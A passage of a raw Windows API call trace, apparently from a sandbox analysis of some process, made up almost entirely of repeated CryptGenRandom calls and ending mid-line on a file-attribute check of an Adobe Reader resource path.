pbBuffer=0x3668a0c) returned 1 [0162.166] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668494 | out: pbBuffer=0x3668494) returned 1 [0162.166] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36685fc | out: pbBuffer=0x36685fc) returned 1 [0162.167] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668afc | out: pbBuffer=0x3668afc) returned 1 [0162.167] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36689e4 | out: pbBuffer=0x36689e4) returned 1 [0162.168] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366832c | out: pbBuffer=0x366832c) returned 1 [0162.168] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668c14 | out: pbBuffer=0x3668c14) returned 1 [0162.169] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366869c | out: pbBuffer=0x366869c) returned 1 [0162.169] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668b74 | out: pbBuffer=0x3668b74) returned 1 [0162.170] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366864c | out: pbBuffer=0x366864c) returned 1 [0162.170] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366814c | out: pbBuffer=0x366814c) returned 1 [0162.170] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668764 | out: pbBuffer=0x3668764) returned 1 [0162.171] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668854 | out: pbBuffer=0x3668854) returned 1 [0162.171] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366837c | out: pbBuffer=0x366837c) returned 1 [0162.172] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668f5c | out: pbBuffer=0x3668f5c) returned 1 [0162.172] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366846c | out: pbBuffer=0x366846c) returned 1 [0162.173] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366891c | out: pbBuffer=0x366891c) returned 1 [0162.173] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668354 | out: pbBuffer=0x3668354) returned 1 [0162.174] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366823c | out: pbBuffer=0x366823c) returned 1 [0162.174] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36680ac | out: pbBuffer=0x36680ac) returned 1 [0162.174] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668b24 | out: pbBuffer=0x3668b24) returned 1 [0162.175] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668804 | out: pbBuffer=0x3668804) returned 1 [0162.175] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668944 | out: pbBuffer=0x3668944) returned 1 [0162.176] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36685d4 | out: pbBuffer=0x36685d4) returned 1 [0162.176] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668a5c | out: pbBuffer=0x3668a5c) returned 1 [0162.177] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36680d4 | out: pbBuffer=0x36680d4) returned 1 [0162.177] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668674 | out: pbBuffer=0x3668674) returned 1 [0162.178] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366805c | out: pbBuffer=0x366805c) returned 1 [0162.178] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668534 | out: pbBuffer=0x3668534) returned 1 [0162.179] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668d2c | out: pbBuffer=0x3668d2c) returned 1 [0162.179] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f3a4 | out: pbBuffer=0x366f3a4) returned 1 [0162.179] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f41c | out: pbBuffer=0x366f41c) returned 1 [0162.180] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f584 | out: pbBuffer=0x366f584) returned 1 [0162.180] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f3f4 | out: pbBuffer=0x366f3f4) returned 1 [0162.181] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fe94 | out: pbBuffer=0x366fe94) returned 1 [0162.182] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f304 | out: pbBuffer=0x366f304) returned 1 [0162.182] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ff5c | out: pbBuffer=0x366ff5c) returned 1 [0162.183] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fee4 | out: pbBuffer=0x366fee4) returned 1 [0162.183] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366febc | out: pbBuffer=0x366febc) returned 1 [0162.184] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fe1c | out: pbBuffer=0x366fe1c) returned 1 [0162.184] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fcdc | out: pbBuffer=0x366fcdc) returned 1 [0162.185] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ff84 | out: pbBuffer=0x366ff84) returned 1 [0162.185] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f3cc | out: pbBuffer=0x366f3cc) returned 1 [0162.185] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f354 | out: pbBuffer=0x366f354) returned 1 [0162.186] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fc64 | out: pbBuffer=0x366fc64) returned 1 [0162.186] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f8a4 | out: pbBuffer=0x366f8a4) returned 1 [0162.187] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f50c | out: pbBuffer=0x366f50c) returned 1 [0162.187] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fbc4 | out: pbBuffer=0x366fbc4) returned 1 [0162.188] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fcb4 | out: pbBuffer=0x366fcb4) returned 1 [0162.188] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fd04 | out: pbBuffer=0x366fd04) returned 1 [0162.189] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fb4c | out: pbBuffer=0x366fb4c) returned 1 [0162.189] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fb9c | out: pbBuffer=0x366fb9c) returned 1 [0162.189] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fa5c | out: pbBuffer=0x366fa5c) returned 1 [0162.190] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f23c | out: pbBuffer=0x366f23c) returned 1 [0162.190] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f084 | out: pbBuffer=0x366f084) returned 1 [0162.191] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f19c | out: pbBuffer=0x366f19c) returned 1 [0162.191] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f674 | out: pbBuffer=0x366f674) returned 1 [0162.192] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f7b4 | out: pbBuffer=0x366f7b4) returned 1 [0162.192] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f2b4 | out: pbBuffer=0x366f2b4) returned 1 [0162.193] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a1c4 | out: pbBuffer=0x366a1c4) returned 1 [0162.193] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a05c | out: pbBuffer=0x366a05c) returned 1 [0162.193] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a55c | out: pbBuffer=0x366a55c) returned 1 [0162.194] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366afac | out: pbBuffer=0x366afac) returned 1 [0162.194] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a5ac | out: pbBuffer=0x366a5ac) returned 1 [0162.195] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366acdc | out: pbBuffer=0x366acdc) returned 1 [0162.195] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ad7c | out: pbBuffer=0x366ad7c) returned 1 [0162.196] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a2dc | out: pbBuffer=0x366a2dc) returned 1 [0162.196] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a214 | out: pbBuffer=0x366a214) returned 1 [0162.197] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a8cc | out: pbBuffer=0x366a8cc) returned 1 [0162.197] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a7b4 | out: pbBuffer=0x366a7b4) returned 1 [0162.197] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a624 | out: pbBuffer=0x366a624) returned 1 [0162.198] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a674 | out: pbBuffer=0x366a674) returned 1 [0162.198] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366acb4 | out: pbBuffer=0x366acb4) returned 1 [0162.199] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366afd4 | out: pbBuffer=0x366afd4) returned 1 [0162.199] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ae94 | out: pbBuffer=0x366ae94) returned 1 [0162.200] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36715ac | out: pbBuffer=0x36715ac) returned 1 [0162.200] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36714e4 | out: pbBuffer=0x36714e4) returned 1 [0162.201] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671354 | out: pbBuffer=0x3671354) returned 1 [0162.201] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36712dc | out: pbBuffer=0x36712dc) returned 1 [0162.201] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36712b4 | out: pbBuffer=0x36712b4) returned 1 [0162.202] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36710d4 | out: pbBuffer=0x36710d4) returned 1 [0162.202] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671dcc | out: pbBuffer=0x3671dcc) returned 1 [0162.203] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671fd4 | out: pbBuffer=0x3671fd4) returned 1 [0162.203] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671a5c | out: pbBuffer=0x3671a5c) returned 1 [0162.204] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671264 | out: pbBuffer=0x3671264) returned 1 [0162.204] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671994 | out: pbBuffer=0x3671994) returned 1 [0162.204] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671d54 | out: pbBuffer=0x3671d54) returned 1 [0162.205] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671624 | out: pbBuffer=0x3671624) returned 1 [0162.205] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367173c | out: pbBuffer=0x367173c) returned 1 [0162.206] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36718f4 | out: pbBuffer=0x36718f4) returned 1 [0162.206] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36627dc | out: pbBuffer=0x36627dc) returned 1 [0162.207] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366237c | out: pbBuffer=0x366237c) returned 1 [0162.207] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662cdc | out: pbBuffer=0x3662cdc) returned 1 [0162.207] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662f5c | out: pbBuffer=0x3662f5c) returned 1 [0162.208] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36629bc | out: pbBuffer=0x36629bc) returned 1 [0162.208] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3672ad4 | out: pbBuffer=0x3672ad4) returned 1 [0162.209] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3672174 | out: pbBuffer=0x3672174) returned 1 [0162.209] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3672214 | out: pbBuffer=0x3672214) returned 1 [0162.210] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3672084 | out: pbBuffer=0x3672084) returned 1 [0162.210] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662ebc | out: pbBuffer=0x3662ebc) returned 1 [0162.211] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662764 | out: pbBuffer=0x3662764) returned 1 [0162.211] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36629bc | out: pbBuffer=0x36629bc) returned 1 [0162.212] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36628f4 | out: pbBuffer=0x36628f4) returned 1 [0162.212] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662e44 | out: pbBuffer=0x3662e44) returned 1 [0162.213] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662f5c | out: pbBuffer=0x3662f5c) returned 1 [0162.213] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662b9c | out: pbBuffer=0x3662b9c) returned 1 [0162.214] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662e1c | out: pbBuffer=0x3662e1c) returned 1 [0162.214] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662c3c | out: pbBuffer=0x3662c3c) returned 1 [0162.214] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662cb4 | out: pbBuffer=0x3662cb4) returned 1 [0162.215] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662ee4 | out: pbBuffer=0x3662ee4) returned 1 [0162.215] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662cdc | out: pbBuffer=0x3662cdc) returned 1 [0162.216] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662c8c | out: pbBuffer=0x3662c8c) returned 1 [0162.216] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36627dc | out: pbBuffer=0x36627dc) returned 1 [0162.217] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662aac | out: pbBuffer=0x3662aac) returned 1 [0162.217] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662944 | out: pbBuffer=0x3662944) returned 1 [0162.217] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662d54 | out: pbBuffer=0x3662d54) returned 1 [0162.218] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36718f4 | out: pbBuffer=0x36718f4) returned 1 [0162.218] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367169c | out: pbBuffer=0x367169c) returned 1 [0162.219] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36718a4 | out: pbBuffer=0x36718a4) returned 1 [0162.219] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367187c | out: pbBuffer=0x367187c) returned 1 [0162.219] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367173c | out: pbBuffer=0x367173c) returned 1 [0162.220] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36718cc | out: pbBuffer=0x36718cc) returned 1 [0162.220] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36717dc | out: pbBuffer=0x36717dc) returned 1 [0162.221] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671714 | out: pbBuffer=0x3671714) returned 1 [0162.221] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671624 | out: pbBuffer=0x3671624) returned 1 [0162.222] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367178c | out: pbBuffer=0x367178c) returned 1 [0162.222] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671764 | out: pbBuffer=0x3671764) returned 1 [0162.222] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36716c4 | out: pbBuffer=0x36716c4) returned 1 [0162.223] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671d54 | out: pbBuffer=0x3671d54) returned 1 [0162.223] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367164c | out: pbBuffer=0x367164c) returned 1 [0162.224] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36715d4 | out: pbBuffer=0x36715d4) returned 1 [0162.224] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367128c | out: pbBuffer=0x367128c) returned 1 [0162.224] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671994 | out: pbBuffer=0x3671994) returned 1 [0162.225] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671b74 | out: pbBuffer=0x3671b74) returned 1 [0162.225] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367196c | out: pbBuffer=0x367196c) returned 1 [0162.226] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671264 | out: pbBuffer=0x3671264) returned 1 [0162.226] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671f0c | out: pbBuffer=0x3671f0c) returned 1 [0162.227] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671a5c | out: pbBuffer=0x3671a5c) returned 1 [0162.227] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36719bc | out: pbBuffer=0x36719bc) returned 1 [0162.227] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671fd4 | out: pbBuffer=0x3671fd4) returned 1 [0162.228] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671bc4 | out: pbBuffer=0x3671bc4) returned 1 [0162.228] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671dcc | out: pbBuffer=0x3671dcc) returned 1 [0162.229] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671fac | out: pbBuffer=0x3671fac) returned 1 [0162.229] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36710d4 | out: pbBuffer=0x36710d4) returned 1 [0162.230] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671034 | out: pbBuffer=0x3671034) returned 1 [0162.230] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36712b4 | out: pbBuffer=0x36712b4) returned 1 [0162.234] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ae94 | out: pbBuffer=0x366ae94) returned 1 [0162.235] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36712dc | out: pbBuffer=0x36712dc) returned 1 [0162.235] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ada4 | out: pbBuffer=0x366ada4) returned 1 [0162.235] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671584 | out: pbBuffer=0x3671584) returned 1 [0162.236] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366aa5c | out: pbBuffer=0x366aa5c) returned 1 [0162.236] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671494 | out: pbBuffer=0x3671494) returned 1 [0162.237] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ac14 | out: pbBuffer=0x366ac14) returned 1 [0162.237] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a624 | out: pbBuffer=0x366a624) returned 1 [0162.238] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a3f4 | out: pbBuffer=0x366a3f4) returned 1 [0162.238] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a7b4 | out: pbBuffer=0x366a7b4) returned 1 [0162.238] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a78c | out: pbBuffer=0x366a78c) returned 1 [0162.239] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a8cc | out: pbBuffer=0x366a8cc) returned 1 [0162.245] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671df4 | out: pbBuffer=0x3671df4) returned 1 [0162.245] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367137c | out: pbBuffer=0x367137c) returned 1 [0162.246] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671214 | out: pbBuffer=0x3671214) returned 1 [0162.246] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36715ac | out: pbBuffer=0x36715ac) returned 1 [0162.246] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671354 | out: pbBuffer=0x3671354) returned 1 [0162.247] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36714e4 | out: pbBuffer=0x36714e4) returned 1 [0162.247] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671a34 | out: pbBuffer=0x3671a34) returned 1 [0162.248] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36714bc | out: pbBuffer=0x36714bc) returned 1 [0162.248] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366afd4 | out: pbBuffer=0x366afd4) returned 1 [0162.249] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a19c | out: pbBuffer=0x366a19c) returned 1 [0162.252] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a96c | out: pbBuffer=0x366a96c) returned 1 [0162.252] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a8f4 | out: pbBuffer=0x366a8f4) returned 1 [0162.253] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ad7c | out: pbBuffer=0x366ad7c) returned 1 [0162.259] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a674 | out: pbBuffer=0x366a674) returned 1 [0162.261] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366acb4 | out: pbBuffer=0x366acb4) returned 1 [0162.269] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a46c | out: pbBuffer=0x366a46c) returned 1 [0162.269] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a994 | out: pbBuffer=0x366a994) returned 1 [0162.270] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366aa34 | out: pbBuffer=0x366aa34) returned 1 [0162.287] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f78c | out: pbBuffer=0x366f78c) returned 1 [0162.288] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a55c | out: pbBuffer=0x366a55c) returned 1 [0162.288] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f084 | out: pbBuffer=0x366f084) returned 1 [0162.289] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a1c4 | out: pbBuffer=0x366a1c4) returned 1 [0162.289] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f034 | out: pbBuffer=0x366f034) returned 1 [0162.289] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f82c | out: pbBuffer=0x366f82c) returned 1 [0162.290] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fa84 | out: pbBuffer=0x366fa84) returned 1 [0162.290] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366faac | out: pbBuffer=0x366faac) returned 1 [0162.291] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fb74 | out: pbBuffer=0x366fb74) returned 1 [0162.291] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fbec | out: pbBuffer=0x366fbec) returned 1 [0162.292] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fc8c | out: pbBuffer=0x366fc8c) returned 1 [0162.292] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f534 | out: pbBuffer=0x366f534) returned 1 [0162.292] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f444 | out: pbBuffer=0x366f444) returned 1 [0162.293] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f4bc | out: pbBuffer=0x366f4bc) returned 1 [0162.293] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f37c | out: pbBuffer=0x366f37c) returned 1 [0162.294] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f96c | out: pbBuffer=0x366f96c) returned 1 [0162.294] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ffd4 | out: pbBuffer=0x366ffd4) returned 1 [0162.309] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366823c | out: pbBuffer=0x366823c) returned 1 [0162.310] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ffac | out: pbBuffer=0x366ffac) returned 1 [0162.310] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366846c | out: pbBuffer=0x366846c) returned 1 [0162.311] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f19c | out: pbBuffer=0x366f19c) returned 1 [0162.311] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668764 | out: pbBuffer=0x3668764) returned 1 [0162.311] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668b74 | out: pbBuffer=0x3668b74) returned 1 [0162.312] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366869c | out: pbBuffer=0x366869c) returned 1 [0162.312] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36689e4 | out: pbBuffer=0x36689e4) returned 1 [0162.313] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668afc | out: pbBuffer=0x3668afc) returned 1 [0179.532] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bc090 | out: hHeap=0x2ad0000) returned 1 [0179.533] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\zh-tw" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader 